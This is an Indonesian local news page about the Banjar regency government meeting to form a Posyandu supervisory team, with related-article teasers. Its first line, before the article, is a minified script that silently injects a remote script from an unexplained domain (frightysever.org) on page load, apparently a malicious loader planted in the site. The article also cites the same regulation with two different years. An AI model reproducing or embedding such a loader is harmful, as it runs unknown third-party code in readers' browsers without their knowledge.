(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar menggelar rapat pembentukan Tim Pembina Posyandu, di Aula Barakat, Martapura, Senin (17/2/2025) siang.
Hal ini sesuai dengan Permendagri Nomor 18 Tahun 2018 Tentang Lembaga Kemasyarakatan Desa dan Lembaga Adat Desa, serta Permendagri Nomor 13 Tahun 2004 Tentang Posyandu.
Kegiatan dibuka Bupati Banjar H Saidi Mansyur diwakili Asisten Bidang Perekenomian dan Pembangunan Ikhwansyah.
Baca juga: BREAKING! Mahasiswa Unjuk Rasa Soroti Pemangkasan Anggaran Pendidikan
Selain membahas tentang persiapan Rakor Posyandu Kabupaten Banjar sekaligus identifikasi pilot project posyandu di 6 SPM Kabupaten Banjar.
Ikhwansyah mengatakan, Standar Pelayanan Minimal (SPM) posyandu mencakup enam bidang, yaitu pendidikan, kesehatan, pekerjaan umum, perumahan rakyat, ketentraman ketertiban umum/perlindungan masyarakat dan sosial.
“Agenda hari ini adalah pembentukan Tim Pembina Posyandu Kabupaten Banjar, alhamdulillah draft SK telah dibuat untuk dapat dibahas bersama pada rapat ini dan draft akan segera dituntaskan karena harus sudah ditetapkan saat rakoor posyandu mendatang yang juga akan dihadiri dari staf Kementerian Dalam Negeri,” ujar Ikhwansyah.
Baca juga: 6 Sekolah Awali Pelaksanaan Makan Bergizi Gratis di Kabupaten Banjar
Dia menegaskan, seluruh SKPD di Kabupaten Banjar dilibatkan dalam rapat ini yang mencakup 6 SPM posyandu dengan pembagian tugas disesuaikan dengan dinas masing-masing.
Pada rapat ini peserta juga memberikan saran dan masukan serta rumusan dalam penanganan posyandu di Kabupaten Banjar.
Sementara Kabid Pemberdayaan Kelembagaan Masyarakat dan Sosial Dasar pada Dinas PMD Banjar Farida Ariyati mengatakan, sesuai Permendagri Nomor 13 Tahun 2024 maka setiap daerah harus membuat SK.
Jika kabupaten maka ada SK Bupati tentang Pembentukan Tim Pembina Posyandu Kabupaten.
Dalam hal ini terbagi SKPD yang mengampu 6 SPM, juga melibatkan BPKPAD terkait anggaran dan Kominfo untuk penyebarluasan informasi serta kesekretariatan melibatkan PKK.
“Pada 22 Februari nanti dilaksanakan rakoor posyandu kabupaten akan melibatkan pambakal dan lurah se-Kabupaten Banjar, juga tim pembina PMD provinsi dan tenaga ahli pendamping desa,” jelas Farida.
Terkait locus pilot project lanjut Faria masih belum final dan akan membuat telaahan staf.
Sementara untuk acuan adalah lokasi stunting dan desa-desa yang tingkat kemiskinannya tinggi. Kemudian nantinya ditentukan pilihan mana dari semua itu yang dilakukan intervensi dari 6 SPM di lokasi tersebut untuk dijadikan pilot project.
Rapat ini dikuti perwakilan dari seluruh SKPD Banjar dan akan dilanjutkan pada rakoor yang dihadiri staf Kemendagri Sabtu mendatang. (kanalkalimantan.com/dkispbanjar/kk)
Reporter: kk
Editor: Dhani
Kementerian Agama RI melalui sidang isbat hari Selasa (17/02/2026) menetapkan 1 Ramadan 1447 H jatuh… Read More
Hasil sidang isbat Kementerian Agama RI telah menetapkan 1 Ramadan 1447 Hijriah jatuh pada hari… Read More
Wali Kota Yamin: Mobil Dinas Konvensional Sudah Berumur, BBM-nya Boros Read More
Pada Sidang Isbat yang digelar hari Selasa (17/2/2026), pemerintah secara resmi menetapkan 1 Ramadan 1447… Read More
Pemerintah telah menetapkan puasa 1 Ramadan 1447 H jatuh pada hari Kamis, 19 Februari 2026… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pendidikan dan Kebudayaan (Disdikbud) Provinsi Kalimantan Selatan (Kalsel) menggelar rapat koordinasi… Read More
This website uses cookies.